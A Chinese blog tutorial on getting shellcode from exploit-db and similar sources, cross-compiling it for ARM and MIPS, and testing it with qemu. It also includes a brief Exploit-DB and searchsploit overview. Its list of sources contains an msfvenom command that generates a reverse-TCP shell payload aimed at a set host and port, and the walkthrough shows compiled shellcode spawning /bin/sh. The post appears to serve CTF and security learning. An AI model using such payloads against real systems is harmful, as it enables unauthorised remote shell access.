利用 exploit-db 交叉编译 shellcode

shellcode 通用编写方法

获得shellcode一般有如下五种办法:

  1. pwntools: asm(shellcraft.arm.linux.sh(),arch=’arm’)
  2. msfvenom: msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f py -o msf.py
  3. shell-storm: http://shell-storm.org/shellcode/
  4. exploit-db: https://www.exploit-db.com/shellcodes
  5. 自己编译:StarCTF 2021 RISC-V Pwn Favourite Architecture: shellcode 编写练习

本次简单介绍下如何通过 www.exploit-db.com 获得 shellcode 源码,然后再交叉编译成不同平台的可执行文件的过程,可执行文件的功能是可以通过 /bin/sh 执行 shell 命令。

编写 ARM shellcode

进入网站后选择左侧菜单栏的 SHELLCODE,然后在右上角搜索 ARM 版的 shellcode。

在这里插入图片描述

拷贝代码到新建文件中,重命名为 execve_arm.c,选择合适版本的交叉编译链,静态编译源码为目标架构的可执行程序。

静态编译

armv6l-gcc -o execve_arm execve.c --static

查看程序架构信息

readelf -h execve_arm

ELF 头:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  类别:                              ELF32
  数据:                              2 补码,小端序 (little endian)
  版本:                              1 (current)
  OS/ABI:                            UNIX - System V
  ABI 版本:                          0
  类型:                              EXEC (可执行文件)
  系统架构:                          ARM
  版本:                              0x1
  入口点地址:               0x816c
  程序头起点:          52 (bytes into file)
  Start of section headers:          67052 (bytes into file)
  标志:             0x4000002, Version4 EABI, <unknown>
  本头的大小:       52 (字节)
  程序头大小:       32 (字节)
  Number of program headers:         4
  节头大小:         40 (字节)
  节头数量:         27
  字符串表索引节头: 24

qemu 本地运行验证是否可用

qemu-arm-static execve_arm

ubuntu@ubuntu-virtual-machine:~/compile$ qemu-arm-static execve_arm 
Shellcode Length:  32
$ ls -al
total 110168
drwxrwxr-x  8 ubuntu ubuntu      4096 Aug  3 11:09 .
drwxr-xr-x 68 ubuntu ubuntu      4096 Aug  3 09:29 ..
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv4l
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv5l
drwxr-xr-x 12 ubuntu ubuntu      4096 Mar 16  2017 armv6l
-rw-rw-r--  1 ubuntu ubuntu       345 Jul 30 14:07 execve.c
-rwxrwxr-x  1 ubuntu ubuntu     80062 Jul 30 14:08 execve_arm
-rwxrwxr-x  1 ubuntu ubuntu   4049876 Jul 30 14:27 execve_arm7
-rwxrwxr-x  1 ubuntu ubuntu     38067 Jul 30 15:06 execve_mips
-rw-rw-r--  1 ubuntu ubuntu       805 Jul 30 15:06 execve_mips.c
-rwxrwxr-x  1 ubuntu ubuntu     38035 Jul 30 14:58 execve_mipsel
-rw-rw-r--  1 ubuntu ubuntu       486 Jul 30 14:58 execve_mipsel.c
drwxr-xr-x  8 ubuntu ubuntu      4096 Nov 19  2017 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf
-rw-r--r--  1 ubuntu ubuntu 108376348 Jul 30 14:19 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf.tar.tar
drwxr-xr-x 11 ubuntu ubuntu      4096 Oct 29  2020 mips
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 mipsel
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode
-rw-rw-r--  1 ubuntu ubuntu       593 Jul 30 10:34 shellcode.c
-rwxrwxr-x  1 ubuntu ubuntu     80137 Jul 30 10:35 shellcode_arm
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode_mipsel
$ 

验证成功,可以继续编译 mips 的版本了。

编写 MIPS shellcode

同样的步骤,在右上角搜索栏搜索 mips,根据实际需要选择大端或小端,我这里选择的是大端。

在这里插入图片描述

复制源码到新建文件中,重命名为 execve_mips.c,选择合适版本的交叉编译链,静态编译源码为目标架构的可执行程序。

静态编译

mips-gcc -o execve_mips execve_mips.c --static

查看程序架构信息

ELF 头:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  类别:                              ELF32
  数据:                              2 补码,大端序 (big endian)
  版本:                              1 (current)
  OS/ABI:                            UNIX - System V
  ABI 版本:                          0
  类型:                              EXEC (可执行文件)
  系统架构:                          MIPS R3000
  版本:                              0x1
  入口点地址:               0x4002a0
  程序头起点:          52 (bytes into file)
  Start of section headers:          28100 (bytes into file)
  标志:             0x1007, noreorder, pic, cpic, o32, mips1
  本头的大小:       52 (字节)
  程序头大小:       32 (字节)
  Number of program headers:         4
  节头大小:         40 (字节)
  节头数量:         20
  字符串表索引节头: 17

qemu 本地运行验证是否可用

qemu-mips-static execve_mips

ubuntu@ubuntu-virtual-machine:~/compile$ qemu-mips-static execve_mips
sc size 52
$ ls -al
total 110168
drwxrwxr-x  8 ubuntu ubuntu      4096 Aug  3 11:09 .
drwxr-xr-x 68 ubuntu ubuntu      4096 Aug  3 09:29 ..
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv4l
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv5l
drwxr-xr-x 12 ubuntu ubuntu      4096 Mar 16  2017 armv6l
-rw-rw-r--  1 ubuntu ubuntu       345 Jul 30 14:07 execve.c
-rwxrwxr-x  1 ubuntu ubuntu     80062 Jul 30 14:08 execve_arm
-rwxrwxr-x  1 ubuntu ubuntu   4049876 Jul 30 14:27 execve_arm7
-rwxrwxr-x  1 ubuntu ubuntu     38067 Jul 30 15:06 execve_mips
-rw-rw-r--  1 ubuntu ubuntu       805 Jul 30 15:06 execve_mips.c
-rwxrwxr-x  1 ubuntu ubuntu     38035 Jul 30 14:58 execve_mipsel
-rw-rw-r--  1 ubuntu ubuntu       486 Jul 30 14:58 execve_mipsel.c
drwxr-xr-x  8 ubuntu ubuntu      4096 Nov 19  2017 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf
-rw-r--r--  1 ubuntu ubuntu 108376348 Jul 30 14:19 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf.tar.tar
drwxr-xr-x 11 ubuntu ubuntu      4096 Oct 29  2020 mips
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 mipsel
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode
-rw-rw-r--  1 ubuntu ubuntu       593 Jul 30 10:34 shellcode.c
-rwxrwxr-x  1 ubuntu ubuntu     80137 Jul 30 10:35 shellcode_arm
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode_mipsel
$ 

成功运行

### Exploit-DB 安全漏洞数据库资源介绍 #### Exploit-DB 的概述 Exploit-DB 是由 Offensive Security 维护的一个公开的安全漏洞数据库,其中包含了大量针对不同系统和服务的已知安全漏洞利用代码。这个平台不仅是一个面向全球黑客的漏洞提交站点,还提供了一整套庞大的归档体系,涵盖了各类公开的攻击事件、漏洞报告、安全文章和技术教程等资源[^1]。 #### 在线查找漏洞代码的方法 访问官方网站 [https://www.exploit-db.com](https://www.exploit-db.com/) 可以直接通过搜索引擎功能来查询所需的漏洞信息。用户可以根据特定条件筛选并获取最新的漏洞详情及其对应的利用脚本或方法说明[^2]。 #### 离线查找漏洞代码的方式 为了方便离线操作,可以使用 `searchsploit` 这款命令行工具来进行本地数据检索。首先需要定期执行更新指令保持数据库同步至最新状态: ```bash sudo searchsploit -u ``` 之后便可以通过简单的关键词匹配快速定位到感兴趣的条目,并查看其具体内容或者下载相应的文件用于进一步的研究和测试目的。 #### Exploit-DB 对于安全领域的重要性 作为当前世界上最为全面开放式的漏洞集合之一,Exploit-DB 不仅能够帮助企业及时发现潜在风险从而采取预防措施加强防护能力;同时也为从事信息安全工作的专业人士提供了宝贵的学习资料和支持手段,在提升技术水平方面发挥着不可替代的作用[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值